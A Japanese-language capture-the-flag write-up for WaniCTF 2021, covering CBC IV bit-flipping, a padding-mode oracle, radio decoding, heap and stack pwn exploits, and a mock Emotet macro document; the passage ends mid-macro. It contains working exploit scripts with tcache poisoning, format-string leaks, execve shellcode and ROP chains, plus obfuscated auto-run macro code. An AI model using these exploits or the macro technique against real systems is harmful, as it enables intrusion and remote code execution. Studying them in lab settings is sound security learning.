WaniCTF 2021 Writeup

Mon Nov 08 2021

11/5-7 で開催していた WaniCTF 2021 にソロで参加しました。結果は 5th/330 (得点のあるチームのみカウント) でした。 WaniCTF は誘導が丁寧な問題が多く、不慣れなジャンル (即ち Crypto 以外) の勉強になるため参加しました。forensics の1問がわからなくて全完は逃してしまいましたが、どのジャンルも楽しませていただきました。 (裏で BSides Ahmedabad CTF 2021 にも参加していたため、体力的には死んだ)

自分のためのメモ的要素が強いですが、勉強になったと感じた問題 (≒hard以上の難易度) について writeup を書きます。

Crypto

Flag Service

24 solves

app.py
from cipher import AESCBC
from flask import Flask, redirect, render_template, request
from secret import flag

app = Flask(__name__)
cipher = AESCBC()


@app.route("/")
def index():
    try:
        token = request.cookies.get("token")
        session = cipher.decrypt(token)
        return render_template("index.html", session=session, flag=flag)
    except Exception:
        pass
    return render_template("index.html")


@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username")
    session = {"admin": False, "username": username}
    token = cipher.encrypt(session)

    response = redirect("/")
    response.set_cookie("token", token)
    return response


@app.route("/logout", methods=["POST"])
def logout():
    response = redirect("/")
    response.set_cookie("token", expires=0)
    return response


if __name__ == "__main__":
   app.run()
cipher.py
import base64
import json
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


class AESCBC:
    def __init__(self):
        self.key = os.urandom(16)

    def encrypt(self, data: str):
        cipher = AES.new(self.key, AES.MODE_CBC)

        iv = cipher.iv
        data = json.dumps(data)

        ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))

        token = base64.b64encode(iv + ciphertext)
        return token

    def decrypt(self, token: bytes):
        token = base64.b64decode(token)
        print(token)

        iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        print(cipher.decrypt(ciphertext))
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

        data = json.loads(plaintext)
        return data

Cookie に AES CBC モードで暗号化された json 形式の token を保持しており、その json の admin が true であればフラグが手に入ります。 token は {"admin": false, "username": "hoge"} のような形式です。

ぱっとみの見てくれは Padding Oracle Attack に感じられますが、これをやろうとすると json の書式を守ることができず上手くいきません (できる方法があったら知りたい)。そこで既存の json を捏造する方法を考えます。

AES CBC モードの最初のブロック (c0 とする) に対する復号を考えます。復号結果は Dec(c0)+iv となります (+ は xor を表します)。今回 iv はこちらから制御可能なため、復号結果を偽造することができます。 (c0 を変えるとそもそも Dec(c0) の値を制御できないこと、 c1 の復号結果が変わってしまうことに注意です。)

ブロック長を考えると Dec(c0)+iv='{"admin": false,' となっていることがわかるので、このブロックの復号結果を '{"admin": true, ' にしたいです。これらの文字列の xor をとり、もとの iv とも xor を取ることで、所望の偽造に使える iv がわかります。

solve.py
# 適当な username で Cookie を取得しておく
dec = b64decode(b"H/ryFl7Qz2iMLi1X7CwhXY0QzAKVgtZg4exjEnyvwd43GTB2kDSQGCkPZMhOxyVLnKNum+ot3IGZF9/pblnJNg==")
iv = dec[:16]
print(b64encode(strxor(strxor(iv, b"\x00"*10 + b"false,"), b"\x00"*10 + b"true, ") + dec[16:]))

得られた結果を Cookie に入れてアクセスすることでフラグが手に入りました。

FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

AES-NOC

39 solves

chall.py
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

from secret import flag


class AESNOC:
    def __init__(self, key: bytes, iv: bytes):
        self.iv = iv
        self.key = key
        self.block_size = AES.block_size

    def encrypt(self, plaintext: bytes):
        cipher = AES.new(self.key, AES.MODE_ECB)
        plaintext = pad(plaintext, self.block_size)
        P = [
            plaintext[i : i + self.block_size]
            for i in range(0, len(plaintext), self.block_size)
        ]
        C = []

        P_prev = self.iv
        for p in P:
            c = cipher.encrypt(p)
            C.append(strxor(c, P_prev))
            P_prev = p

        return b"".join(C)


def main():
    key = os.urandom(16)
    iv = os.urandom(16)
    cipher = AESNOC(key, iv)

    assert len(flag) == 49
    assert flag.startswith(b"FLAG{")
    assert flag.endswith(b"}")

    iv = iv.hex()
    print(f"{iv = }")
    while True:
        print("1. Get encrypted flag")
        print("2. Encrypt")
        choice = int(input("> "))
        if choice == 1:
            encrypted_flag = cipher.encrypt(flag).hex()
            print(f"{encrypted_flag = }")
        elif choice == 2:
            plaintext = input("Plaintext [hex] > ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = cipher.encrypt(plaintext).hex()
            print(f"{ciphertext = }")
        else:
            print("Bye")
            break


if __name__ == "__main__":
    main()

平文、暗号文のii番目のブロックをそれぞれ mi,cim_i, c_i とすると、 ci=Enc(mi)+mi1c_i = \mathrm{Enc}(m_i) + m_{i-1} が成り立ちます (+は xor を表す)。 mim_i が既知であれば、 mi1=ci+Enc(mi)m_{i-1} = c_i + \mathrm{Enc}(m_i) となり、 mi1m_{i-1} も求められます。 Enc(mi)\mathrm{Enc}(m_i)mim_i を暗号化して iv と xor を取れば求められます。 問題文から、平文の最後のブロックは }\x0f\x0f... となることがわかるため、逐次的に平文を復元することができます。

solve.py
import re
from binascii import unhexlify

from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
from pwn import remote

io = remote("aesnoc.crypto.wanictf.org", 50000)
ret = io.recvline().strip().decode()
iv = unhexlify(re.findall(r"iv = '(.*)'", ret)[0])
io.sendlineafter(b"> ", b"1")
ret = io.recvline().strip().decode()
enc_flag = unhexlify(re.findall(r"encrypted_flag = '(.*)'", ret)[0])


def enc(plain: bytes):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"> ", plain.hex().encode())
    ret = io.recvline().strip().decode()
    return unhexlify(re.findall(r"ciphertext = '(.*)'", ret)[0])


dec = b"}"
plain_prev = b"}" + b"\x0f" * 15
for i in reversed(range(0, 64, 16)):
    tmp = enc(plain_prev)
    dec_block = strxor(iv, strxor(tmp[:16], enc_flag[i: i + 16]))
    dec = dec_block + dec
    plain_prev = dec_block
    print(dec)

FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

Misc

ASK over the air

16 solves

無線通信のビット列が渡されます。無線なんもわからん (従来の意味で) なのでツールに投げることにしました。 Universal Radio Hacker というツールで csv を開き、 I Data Column を2に、 Q Data Column を3に、 Timestamp Column を1に指定します。 Sample/Symbol を適当に変化させつつ Analysis タブで ASCII 表示結果を見ていると、 Sample/Symbol=16 のときにフラグを復元できていました。

FLAG{you-can-decode-many-IoT-communications}

Pwn

diva

13 solves

diva.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int counter = 0;

char *textArea[6];
char lyrics[3][16];

void (*fp[2])(char *);

void init() {
  alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

char *parseVar(char *var) {
  int intTemp;
  char *str_temp;
  if (var[0] == '%') {
    intTemp = var[1] - 48;
    if (intTemp < 0 || intTemp > 2)
      printf("Out of Boundary!\n");
    else if (strlen(lyrics[intTemp]) == 0)
      printf("Cannot access memory\n");
    else
      return lyrics[intTemp];
  } else {
    return var;
  }
  return NULL;
}

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}

void ereaseLyrics(char *parameter) {
  int i;
  if (parameter[0] != '%')
    printf("ERROR : Destination of 'erease' should be register\n");
  else {
    i = parameter[1] - 48;
    if (i < 0 || i > 2)
      printf("Out of Boundary!\n");
    else
      lyrics[i][0] = '\0';
  }
}

void writeLyrics(char *parameter1, char *parameter2) {
  int i;
  if (parameter1[0] != '%')
    printf("ERROR : Destination of 'write' should be register\n");
  else {
    i = parameter1[1] - 48;
    memcpy(lyrics[i], parseVar(parameter2), 16);
  }
}

void parser(char *command) {
  char *token;
  char *cmd[4];
  int i = 0;
  printf("command : %s\n", command);
  if (command == NULL)
    return;
  cmd[i] = strtok(command, " ");
  while (cmd[i] != NULL && i < 3) {
    i++;
    cmd[i] = strtok(NULL, " ");
  }
  if (cmd[0] != NULL) {
    if (strcmp(cmd[0], "sing") == 0) {
      fp[0](cmd[1]);
    } else if (strcmp(cmd[0], "erease") == 0) {
      fp[1](cmd[1]);
    } else if (strcmp(cmd[0], "write") == 0) {
      writeLyrics(cmd[1], cmd[2]);
    } else {
      printf("Invalid command %s\n", cmd[0]);
    }
  } else {
    printf("Nothing to process\n");
  }
  printf("----Lyrics list----\n");
  for (int j = 0; j < 5; j++) {
    if (lyrics[j] != NULL)
      printf("[%d]: %s\n", j, lyrics[j]);
    else
      printf("[%d]: NULL\n", j);
  }
  printf("-------------------\n");
}

void initializeSystem() {
  char *Checker[6];
  printf("Initializing System...\n");
  printf("Checking Available Memory...\n");
  fp[0] = sing;
  fp[1] = ereaseLyrics;
  for (int i = 0; i < 6; i++) {
    Checker[i] = (char *)malloc(32 * sizeof(char));
    if (Checker[i] == NULL) {
      printf("ERROR! Can't get the memory!\n");
      exit(-1);
    }
  }
  printf("Memory available...\n");
  for (int i = 5; i >= 0; i--) {
    free(Checker[i]);
  }
}

int main() {
  init();

  if (counter != 0)
    printf("Program came from the future\n\n");

  printf("I'm born to take flag with music\n");
  int i;
  for (i = 0; i < 101; i++) {
    switch (i) {
    case 0:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[0]);
      break;
    case 15:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[1]);
      break;
    case 20:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[2]);
      break;
    case 60:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[3]);
      break;
    case 100:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[4]);
      parser(textArea[5]);
    }
  }

  printf("I wasn't able to get the flag.\n\n");
  initializeSystem();
  printf("Give me your code to send to the past\n");
  printf("counter : %d\n", counter);

  for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
  }

  printf("Change this FLAGless history!! Please...\n");
  counter += 1;
}

main 関数の前半部分はいろいろコードが書いてありますが普通に1回呼び出されるだけだと何も機能しません。そこで、もう一度 main 関数を呼び出せないかをまず考えてみます。

自明な BOF が以下のあたりにあります。

  for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
  }

親切なことに、 initializeSystem 内で malloc x 6 → malloc したのと逆順に free x 6 をしているため、 tcache 内に chunk がアドレスの順番に保持されています。そのため、ある textArea[i] に 0x30文字 + address を書き込むと、 tcache のリストが汚染され、2回後の malloc でこの address に書き込むことができるようになります。

では何をどこに書き込むといいのでしょうか。 checksec の結果を見ると、

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

であり、 No RELRO です。 No RELRO なので .fini_array が writable です。 .fini_array はプログラムの終わり際に呼ばれる関数を保持する場所なので、ここに main 関数アドレスを書き込むことで main 関数前半部分を利用することができます。

2つ目の脆弱性として、 sing 関数内部の printf が挙げられます。

char *parseVar(char *var) {
  int intTemp;
  char *str_temp;
  if (var[0] == '%') {
    intTemp = var[1] - 48;
    if (intTemp < 0 || intTemp > 2)
      printf("Out of Boundary!\n");
    else if (strlen(lyrics[intTemp]) == 0)
      printf("Cannot access memory\n");
    else
      return lyrics[intTemp];
  } else {
    return var;
  }
  return NULL;
}

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}

parseVar では1文字目以外は % にすることができるので、 FSA で stack 内部の値をリークできます。

2週目の main で stack 内のいい感じの値から libc address をリークし、再び tcache poisoning で GOT の puts を one gadget address に書き換えることでシェルが立ち上がります。

solve.py
from pwn import *

context.log_level = "DEBUG"

# REMOTE = False
REMOTE = True

elf = ELF("./pwn-diva/chall")
if REMOTE:
    libc = ELF("./pwn-diva/libc-2.31.so")
    io = remote("diva.pwn.wanictf.org", 9008)
else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    io = remote("localhost", 1337)


io.sendafter(b"0>", b"sing A" + b"%34$016lx")
io.sendafter(b"1>", b"A")
io.sendafter(b"2>", b"A")
io.sendafter(b"3>", b"A" * 0x30 + p64(0x004034b8))  # .fini_array
io.sendafter(b"4>", b"A" * 0x30)
io.sendafter(b"5>", p64(elf.symbols["main"]))

io.recvuntil(b"command :")
io.recvline()
addr_stdout = int(io.recvline()[5:21], 16)
libc.address = addr_stdout - libc.symbols["_IO_2_1_stdout_"]
print(f"{libc.address = :#x}")

addr_one_gadget = libc.address + 0xe6c7e

io.sendafter(b"0>", b"A")
io.sendafter(b"1>", b"A")
io.sendafter(b"2>", b"A")
io.sendafter(b"3>", b"A" * 0x30 + p64(elf.got["puts"]))
io.sendafter(b"4>", b"A" * 0x30)
io.sendafter(b"5>", p64(addr_one_gadget))

io.interactive()

Tarinai

28 solves

tarinai.c
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

int vuln() {
  char Name[256];
  printf("Name @>%p\n", &Name);
  printf("Name>");
  read(0, Name, 258);
  printf("Hello %s", Name);
  return 0;
}

int main() {
  int a = 1;
  init();
  vuln();
  return 0;
}

自明な BOF が vuln 関数内にあります。しかし2文字分しか overflow できないため、 return address 以降を書き換えるような ROP はできません。

書き込める2文字は main 関数用に保存された RBP address の下位2bytesに対応しています。この値は main 関数から抜けるときの leave 命令で RSP に代入されるため (leave = mov rsp, rbp; pop rbp)、 main 関数での return address を 0x10000bytes 程度ずらすことができます。 checksec でセキュリティ機構を調べると NX disabled だったため、 Name の最初の部分に Name+8 のアドレス (これが return 先となる)、 Name+8 以降に shellcode を書き込み、 main 関数の return address を上述の方法で Name の address となるようにすることでシェルが立ち上がります。

solve.py
from pwn import *

REMOTE = True

elf = ELF("./pwn-tarinai/chall")
if REMOTE:
    io = remote("tarinai.pwn.wanictf.org", 9007)
else:
    io = remote("localhost", 1337)

io.readuntil(b"Name @>")
addr_name = int(io.recvline().strip().decode(), 16)
print(f"{addr_name = :#x}")
payload = p64(addr_name + 0x8)
# http://shell-storm.org/shellcode/files/shellcode-603.php
payload += b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload += b"A" * (256 - len(payload))
payload += p64(addr_name - 8)[:2]  # leave の pop rbp 分 ずらしておく
io.sendafter(b"Name>", payload)
io.interactive()

FLAG{Now_You_Know_Function_Epilogue}

rop-machine-final

36 solves

char* buf[64];
gets(buf);  // flag.txt
int fd = open(buf, O_RDONLY);
read(fd, buf, 64);
write(1, buf, 64);

↑相当の処理を ROP で行えばフラグが読めます。

solve.py
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_gets()  # 手入力で flag.txt

cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_pop_rsi()
cmd_append_hex(0)
cmd_append_open()

cmd_append_pop_rdi()
cmd_append_hex(0x3)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x40)
cmd_append_read()

cmd_append_pop_rdi()
cmd_append_hex(0x1)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x40)
cmd_append_write()

cmd_execute()

FLAG{you-might-be-the-real-rop-master}

Reversing

EmoEmotet

44 solves

ヒントに記載されているツールで emoemotet.doc を解析してみます。

$ olevba3 emoemotet.doc --reveal
(SNIPPED)
Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
